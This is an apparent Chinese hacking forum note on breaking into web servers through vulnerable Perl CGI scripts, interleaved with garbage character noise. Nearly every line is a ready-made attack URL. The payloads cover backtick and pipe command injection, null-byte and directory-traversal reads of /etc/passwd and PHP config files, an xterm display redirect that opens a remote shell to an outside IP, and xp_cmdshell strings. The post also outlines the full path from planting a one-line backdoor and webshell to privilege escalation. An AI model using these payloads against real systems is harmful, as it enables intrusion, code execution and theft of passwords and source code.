总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
! L+ |1 r& ^ i! q. ?cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
5 v+ J: _+ K3 J感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 " F# c s" R2 h. F) e
注“
: Y5 ]' Q+ o+ ~- x8 k" ?# kperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
+ Q! C. M* g6 M5 S \2 s以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
( |% u* L4 E U( _# O7 `8 E6 d! d
; E1 w, \) p, k9 lhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
) m% q: ]! R. E2 e( P" M6 Shttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 - i. q! ~. ]' q( E f. C
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
1 D) _# o: q9 K( G, l5 V$ ~) Uhttp://target.com/cgi-bin/home/news/sub.pl?`id`
" t) K# m9 n& uhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` ( X" i' F% G, t$ F: W! A* X
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 ) b% P! y- k+ [* J3 q" V# w
' T9 ^1 I$ {3 J. }) L- Qhttp://target.com/test.pl;ls|
, O4 w5 w; l" C. l# v' A- g0 g4 L0 c1 Nhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ) |1 P/ {/ S) X4 U
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 9 R5 u0 N+ }+ s& ?3 Y0 ~' _: o6 F. A! j
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
, |- u# T& f$ ^: T比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
. V" U; @& Z0 V5 X$ [! ~; Bhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection # P' q8 V7 a, ~* w
5 \$ p7 }& r0 ]& Ohttp://target.com/test.pl?&........ /../../etc/passwd
. x# X: f! M8 d5 T
8 o/ j) P0 \- s4 Z. ?http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ ! {2 p2 w/ {# Z
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 / U7 M4 n% e6 ~% \; M1 d; k
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 9 b& l3 q0 i' k$ j0 O* T
9 P* X6 \3 B/ x i% O3 R/ Dhttp://www.target.org/show.php?f ... /include/config.php 查看php代码
1 w/ [3 M& I' y6 S+ h d/ Zhttp://www.target.org/show.php?f ... ng/admin/global.php
$ h. G" f, w" r
% S8 v! K: z1 F5 G7 V" z: p2 M2 gemm和ps的一句话
% s7 ^9 J4 z- t. k! x' J: h' F
( f! q2 u* _4 |, }9 [0 ?. ?http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ! R# z X" M! y
3 I, {2 a/ ^0 N, [4 F1 |6 I>bbb%20| 4 S+ l/ D4 X$ a( a$ z2 L2 y- T0 j
- {/ j u: Q2 b( j
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 1 ]7 I: y9 A" o: P. O; D, y
e2 ^* R6 n) H. j
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
0 s6 J6 q# i0 N/ t$ mhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 3 [& [5 T0 ?; t
2 l3 W1 V, t: z2 z6 P' N9 g4 u相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
( T1 x% Q3 S3 ~( z( Khttp://target.com/index.html#cmd.exe
" M+ X4 w9 i8 z. B5 g" c; t: | r% whttp://target.com/index.html?dummyparam=xp_cmdshell
% a7 g5 H* q* \3 l$ h# B1 \! e$ Mlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
3 Z, T# ~3 L5 N! Y4 a) q |